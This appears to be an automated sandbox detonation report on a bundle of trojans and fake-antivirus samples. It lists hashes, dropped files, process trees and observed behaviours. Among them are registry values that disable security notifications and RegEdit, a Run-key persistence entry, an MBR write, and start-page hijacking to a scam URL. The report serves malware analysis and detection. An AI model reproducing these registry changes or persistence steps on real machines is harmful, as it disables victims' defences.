SHA256	76e19416eb826a27bdcf626c3877cf7812bbe9b62cc2ccc5c2f65461d644246f
SHA512	49eed1e1197401cb856064bf7fdbd9f3bc57f3c864d47f509346d44eed3b54757d8c6cdb6254990d21291065f0762d2a1588d09e43c5728f77a420f6a8dcd6ea

memory/2668-120-0x0000000000400000-0x000000000040D000-memory.dmp

memory/2220-121-0x0000000000400000-0x000000000040E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

MD5	a50c74202e2f4d938babf556b9f54725
SHA1	6810db1606cac6ab19edbaa49620ba197ef7bc64
SHA256	937ccad21c0271169104539269b5f3faa43d6ca2e36d676fbf9b6fa6df41b40a
SHA512	28c717b84fc9b94a3cef76ff36de52a7d928d164daab87387efe3e87f934e4e42b62da3c75d7c06ec2f93c7c2903428ad768c0199d48ecea18551becc7ba21a9

C:\Users\Admin\AppData\Local\Temp\nsrC9AA.tmp\GetVersion.dll

MD5	dc9562578490df8bc464071f125bfc19
SHA1	56301a36ae4e3f92883f89f86b5d04da1e52770d
SHA256	0351fe33a6eb13417437c1baaee248442fb1ecc2c65940c9996bcda574677c3f
SHA512	9242f8e8ece707874ef61680cbfcba7fc810ec3a03d2cb2e803da59cc9c82badd71be0e76275574bc0c44cdfcef9b6db4e917ca8eb5391c5ae4b37e226b0c321

memory/1448-140-0x000000006FE50000-0x000000006FE59000-memory.dmp

memory/1448-139-0x000000006FE50000-0x000000006FE59000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nsrC9AA.tmp\LangDLL.dll

MD5	de3558ce305e32f742ff25b697407fec
SHA1	d55c50c546001421647f2e91780c324dbb8d6ebb
SHA256	98160b4ebb4870f64b13a45f5384b693614ae5ca1b5243edf461ca0b5a6d479a
SHA512	7081654001cba9263e6fb8d5b8570ba29a3de89621f52524aa7941ba9e6dfd963e5ef7b073f193b9df70300af04d7f72f93d0241d8c70ccdbecfd9092e166cac

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

MD5	8edb51ed1d3241c4f026bb0d5de20f89
SHA1	9453b850f98062c0b3955a58c295a662be605efb
SHA256	c26fc73c59765b9f8df9cf66f6bb81ce099097804a9f0bd4660f3f80e0639f47
SHA512	0217f034da40cbe924ee8e73b024a3c5d86de1b7b12881d1b2909da2aba39661526b712acf9b390d000940ffbf3746e65a5687b7782635c24e844b36560c59f2

C:\Users\Admin\AppData\Local\Temp\DCB4.tmp\VirusCan.bat

MD5	55dcde25c122c782757989a3c275fea2
SHA1	a669581a58e6aa602cbdaf690e3e365fa4de570f
SHA256	3aad2d3f7f3c5ef2676e33cc3be636f1929cf106707e88068ed8eee1ecfcb916
SHA512	b9cd00ffc8e42d2cd1f37a3312655c12423c8fb145910ee2ac8abf0d06b5942b5754fdd60d6b94a125c3bf3a1e7818eded0bfe662dc3992dac10d9df3fcaa5f2

memory/4952-149-0x0000000000400000-0x0000000000410000-memory.dmp

memory/4952-151-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

MD5	83726a8767faba50ea1b5f31afef5938
SHA1	70165dcc633f3390d98ae08c731113b007069737
SHA256	e2636cb5e2b2ff10b27e3050e88801620494654017751d41e5a0725a5ce3b6c4
SHA512	e190e655c4df6ed6b79a8bff97c56a8c736753ce86f181f1fb15a4c57914bec0f1b1a3c8736e49a715191f2e6637a67be2a58354187365894c5d846518d7e301

C:\Users\Admin\AppData\Local\Temp\13E1.tmp\13E2.tmp\13E3.bat

MD5	d03b3332e0eb70b0f9a987cabe089c17
SHA1	7d27ee89e5e7f02544728d9f5d227945eba76e56
SHA256	9f97ce1430fea18a99efb1ad2e09b838dc52ffd2ccf9e5590c173e02cc9a8f88
SHA512	83a7da815aca90fee495ed7ad2ee56e6c480942ffef0cbba6819ae9bc66c5a2a6c76f86a815da9cac42b721fd68cec7e10c38a07178c8a22db3546fad74e28b0

memory/1448-161-0x000000006FE50000-0x000000006FE59000-memory.dmp

memory/1448-162-0x000000006FE50000-0x000000006FE59000-memory.dmp

C:\Users\Admin\Desktop\AntiVirus Platinum.lnk

MD5	3b1ba46cf3256601737adb1a4b4ea7ba
SHA1	cc6c4ef3f111677db9bb42ed445ee948bb9303e5
SHA256	ee97f77ebf3d85ad5860dcd3a0212de27ba943cab7131e2ab4dae3fe3a32e784
SHA512	cd1d91278fef7af961b6b463c4be9106f083dc106d1efef0fef8a9540143bd44e3b7a2c7609a01e17dd65e937aa0fb043c05972309eb0aa1608b31d13f71f700

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

MD5	05ad3f85b73e5ff86504f8dcc55b5d42
SHA1	927d4554328cc6d767a566c3c6cb54c16d58857a
SHA256	124cf5ca90e7aaede685fe0cda72b6a63b80583d2d5ec04d5baeb4a1851c48af
SHA512	6fda7808e0b96caf3a1ff35734fec63f1e78cca6ae0abaa54fd5dd7bca6299a587b8f2c455b9385d7cf9b9cd9b74edbab1e37d8f98e8777059b3c3e2964feb18

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

MD5	6a4853cd0584dc90067e15afb43c4962
SHA1	ae59bbb123e98dc8379d08887f83d7e52b1b47fc
SHA256	ccb9502bf8ba5becf8b758ca04a5625c30b79e2d10d2677cc43ae4253e1288ec
SHA512	feb223e0de9bd64e32dc4f3227e175b58196b5e614bca8c2df0bbca2442a564e39d66bcd465154149dc7ebbd3e1ca644ed09d9a9174b52236c76e7388cb9d996

memory/640-170-0x0000000000C50000-0x00000000010B4000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak

MD5	7050d5ae8acfbe560fa11073fef8185d
SHA1	5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA256	cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
SHA512	a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

memory/640-183-0x00000000226D0000-0x00000000226D8000-memory.dmp

memory/640-185-0x0000000022750000-0x000000002275E000-memory.dmp

memory/640-184-0x0000000022780000-0x00000000227B8000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

MD5	8730c9908a14f37cfb3863733dd181e7
SHA1	ca9961ab393c558418034b8645590c6c782ed57b
SHA256	4c07bbfde0daaab9727d2b607bfa8afa44c26778f53c3ed10d3c9607320f6550
SHA512	73c79ba773a0ce87188c199522707b00eeb7b52c4511b3ea544016ef40c0de031b17533f810b5320c696a2275cce602e67adf70ccc1f07ba25cef94fd7bfb4a1

C:\Users\Admin\AppData\Local\Temp\Trojan\chilledwindows.mp4

MD5	698ddcaec1edcf1245807627884edf9c
SHA1	c7fcbeaa2aadffaf807c096c51fb14c47003ac20
SHA256	cde975f975d21edb2e5faa505205ab8a2c5a565ba1ff8585d1f0e372b2a1d78b
SHA512	a2c326f0c653edcd613a3cefc8d82006e843e69afc787c870aa1b9686a20d79e5ab4e9e60b04d1970f07d88318588c1305117810e73ac620afd1fb6511394155

memory/1756-215-0x00007FFE9D640000-0x00007FFE9D6DB000-memory.dmp

memory/1756-212-0x00007FFE9DDC0000-0x00007FFE9DEEA000-memory.dmp

memory/1756-210-0x00007FFE9D9D0000-0x00007FFE9DD25000-memory.dmp

memory/1756-211-0x00007FFE9C9F0000-0x00007FFE9CAF0000-memory.dmp

memory/1756-206-0x00007FFE9EE50000-0x00007FFE9F045000-memory.dmp

memory/1756-208-0x00007FFE9C620000-0x00007FFE9C8E9000-memory.dmp

memory/3428-218-0x00007FFE9E630000-0x00007FFE9E689000-memory.dmp

memory/3428-231-0x00000000770E0000-0x0000000077693000-memory.dmp

memory/3428-233-0x00000000761D0000-0x000000007628F000-memory.dmp

memory/3428-242-0x0000000076E50000-0x0000000076EC5000-memory.dmp

memory/3428-241-0x00000000757E0000-0x0000000075854000-memory.dmp

memory/3428-236-0x00000000758A0000-0x0000000075AB0000-memory.dmp

memory/3428-240-0x0000000076BB0000-0x0000000076C0F000-memory.dmp

memory/3428-239-0x0000000075860000-0x000000007586F000-memory.dmp

memory/3428-238-0x0000000076B60000-0x0000000076B85000-memory.dmp

Analysis: behavioral21

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win7-20240611-en

Max time kernel

122s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

Signatures

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 3024 wrote to memory of 2120	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe	C:\Windows\system32\cmd.exe
PID 3024 wrote to memory of 2120	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe	C:\Windows\system32\cmd.exe
PID 3024 wrote to memory of 2120	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe	C:\Windows\system32\cmd.exe
PID 3024 wrote to memory of 2120	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe	C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\ADCC.tmp\ADCD.tmp\ADCE.bat C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\ADCC.tmp\ADCD.tmp\ADCE.bat

MD5	ffa0ad441b308bc1da589f8a734e806f
SHA1	704fc5c8773489b91d2f1ef221ab60ecd3257e3e
SHA256	c0f46b9a7fc82f7007adc96523159ae10571a099eeb0cc00eb930e91424a24a1
SHA512	bfeec821a3b26270e52990799d1c525845203ece47989c161cfa9ecf02675122d8bf1ef8dc3f3db199825d50fd6f4ee54312d8bf4ed827681284e715a6fac55b

Analysis: behavioral22

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 19:00

Platform

win10v2004-20240226-en

Max time kernel

147s

Max time network

178s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

Signatures

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2864 wrote to memory of 4780	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe	C:\Windows\system32\cmd.exe
PID 2864 wrote to memory of 4780	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe	C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4040.tmp\4041.tmp\4042.bat C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2268 --field-trial-handle=2244,i,11878111470816612087,2265290141962607370,262144 --variations-seed-version /prefetch:8

Network

Country	Destination	Domain	Proto
GB	216.58.201.106:443		tcp
US	8.8.8.8:53	133.211.185.52.in-addr.arpa	udp
US	8.8.8.8:53	83.210.23.2.in-addr.arpa	udp
US	8.8.8.8:53	95.221.229.192.in-addr.arpa	udp
US	8.8.8.8:53	28.118.140.52.in-addr.arpa	udp
US	8.8.8.8:53	50.23.12.20.in-addr.arpa	udp
US	8.8.8.8:53	228.249.119.40.in-addr.arpa	udp
US	8.8.8.8:53	171.39.242.20.in-addr.arpa	udp
US	8.8.8.8:53	154.239.44.20.in-addr.arpa	udp
US	8.8.8.8:53	57.15.31.184.in-addr.arpa	udp
US	8.8.8.8:53	14.227.111.52.in-addr.arpa	udp
US	8.8.8.8:53	216.197.17.2.in-addr.arpa	udp

Files

C:\Users\Admin\AppData\Local\Temp\4040.tmp\4041.tmp\4042.bat

MD5	ffa0ad441b308bc1da589f8a734e806f
SHA1	704fc5c8773489b91d2f1ef221ab60ecd3257e3e
SHA256	c0f46b9a7fc82f7007adc96523159ae10571a099eeb0cc00eb930e91424a24a1
SHA512	bfeec821a3b26270e52990799d1c525845203ece47989c161cfa9ecf02675122d8bf1ef8dc3f3db199825d50fd6f4ee54312d8bf4ed827681284e715a6fac55b

Analysis: behavioral9

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win7-20240611-en

Max time kernel

Max time network

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

Signatures

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeShutdownPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

Network

N/A

Files

N/A

Analysis: behavioral17

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win7-20240419-en

Max time kernel

Max time network

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Network

N/A

Files

memory/2440-0-0x0000000074E4E000-0x0000000074E4F000-memory.dmp

memory/2440-1-0x0000000000B20000-0x0000000000B38000-memory.dmp

memory/2440-2-0x0000000074E40000-0x000000007552E000-memory.dmp

Analysis: behavioral19

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:58

Platform

win7-20240508-en

Max time kernel

69s

Max time network

79s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

Signatures

Windows security bypass

evasion trojan

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A

Disables RegEdit via registry modification

evasion

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	\??\c:\windows\antivirus-platinum.exe	N/A

ACProtect 1.3x - 1.4x DLL software

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
N/A	N/A	N/A	N/A
N/A	N/A	C:\WINDOWS\302746537.exe	N/A
N/A	N/A	\??\c:\windows\antivirus-platinum.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\cmd.exe	N/A
N/A	N/A	C:\Windows\system32\cmd.exe	N/A
N/A	N/A	C:\Windows\system32\cmd.exe	N/A
N/A	N/A	C:\Windows\system32\cmd.exe	N/A
N/A	N/A	C:\Windows\system32\cmd.exe	N/A
N/A	N/A	C:\Windows\system32\cmd.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe	N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Windows security modification

evasion trojan

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\Antivirus = "\"C:\\Program Files (x86)\\AnVi\\avt.exe\" -noscan"	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe	N/A

Drops file in Program Files directory

Description	Indicator	Process	Target
File created	C:\Program Files (x86)\AnVi\splash.mp3	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
File created	C:\Program Files (x86)\AnVi\virus.mp3	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File created	C:\Windows\MSCOMCTL.OCX	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File opened for modification	C:\Windows\MSCOMCTL.OCX	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File created	C:\Windows\302746537.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File opened for modification	C:\windows\antivirus-platinum.exe	C:\Windows\SysWOW64\attrib.exe	N/A
File created	C:\Windows\__tmp_rar_sfx_access_check_259413672	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File created	C:\Windows\antivirus-platinum.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File created	C:\Windows\COMCTL32.OCX	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File opened for modification	C:\Windows\COMCTL32.OCX	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File opened for modification	C:\Windows\antivirus-platinum.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File opened for modification	C:\Windows\302746537.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A

Enumerates physical storage devices

NSIS installer

installer

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Delays execution with timeout.exe

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\timeout.exe	N/A
N/A	N/A	C:\Windows\system32\timeout.exe	N/A
N/A	N/A	C:\Windows\system32\timeout.exe	N/A

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A

Modifies Internet Explorer settings

adware spyware

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\Use FormSuggest = "Yes"	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	\??\c:\windows\antivirus-platinum.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\Window Title = "YOUR PC MAY BE INFECTED WITH SPYWARE OR OTHER MALICIOUS ITEMS"	\??\c:\windows\antivirus-platinum.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Modifies Internet Explorer start page

stealer

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Start Page = "http://secureservices2010.webs.com/scan"	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "http://secureservices2010.webs.com/scan"	\??\c:\windows\antivirus-platinum.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{58DA8D8C-9D6A-101B-AFC0-4210102A8DA7}\ = "ListViewEvents"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8556BCD0-E01E-11CF-8E74-00A0C90F26F8}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E86-DF38-11CF-8E74-00A0C90F26F8}\TypeLib	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{C74190B6-8589-11D1-B16A-00C0F0283628}\VersionIndependentProgID	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DD9DA666-8594-11D1-B16A-00C0F0283628}\Version	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DD9DA666-8594-11D1-B16A-00C0F0283628}\InprocServer32\ = "c:\\windows\\mscomctl.ocx"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{612A8624-0FB3-11CE-8747-524153480004}\Implemented Categories\{0DE86A57-2BAA-11CF-A229-00AA003D7352}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{7791BA52-E020-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{F4D83600-895E-11D0-B0A6-000000000000}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.TabStrip.2\ = "Microsoft TabStrip Control 6.0 (SP4)"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1EFB6596-857C-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{66833FE6-8583-11D1-B16A-00C0F0283628}\MiscStatus	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\MiscStatus\ = "0"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{58DA8D8B-9D6A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58DA8D8B-9D6A-101B-AFC0-4210102A8DA7}\ = "IListView10"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2C247F24-8591-11D1-B16A-00C0F0283628}\ = "IImages"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F08DF952-8592-11D1-B16A-00C0F0283628}\TypeLib	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.ImageListCtrl.1	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{5ACBB955-5C57-11CF-8993-00AA00688B10}\InprocServer32\ = "c:\\windows\\comctl32.ocx"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0713E791-850A-101B-AFC0-4210102A8DA7}\TypeLib\Version = "1.3"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA42-E020-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{F08DF954-8592-11D1-B16A-00C0F0283628}\Implemented Categories\{40FC6ED5-2438-11CF-A3DB-080036F12502}	C:\Windows\SysWOW64\regsvr32.exe	N/A
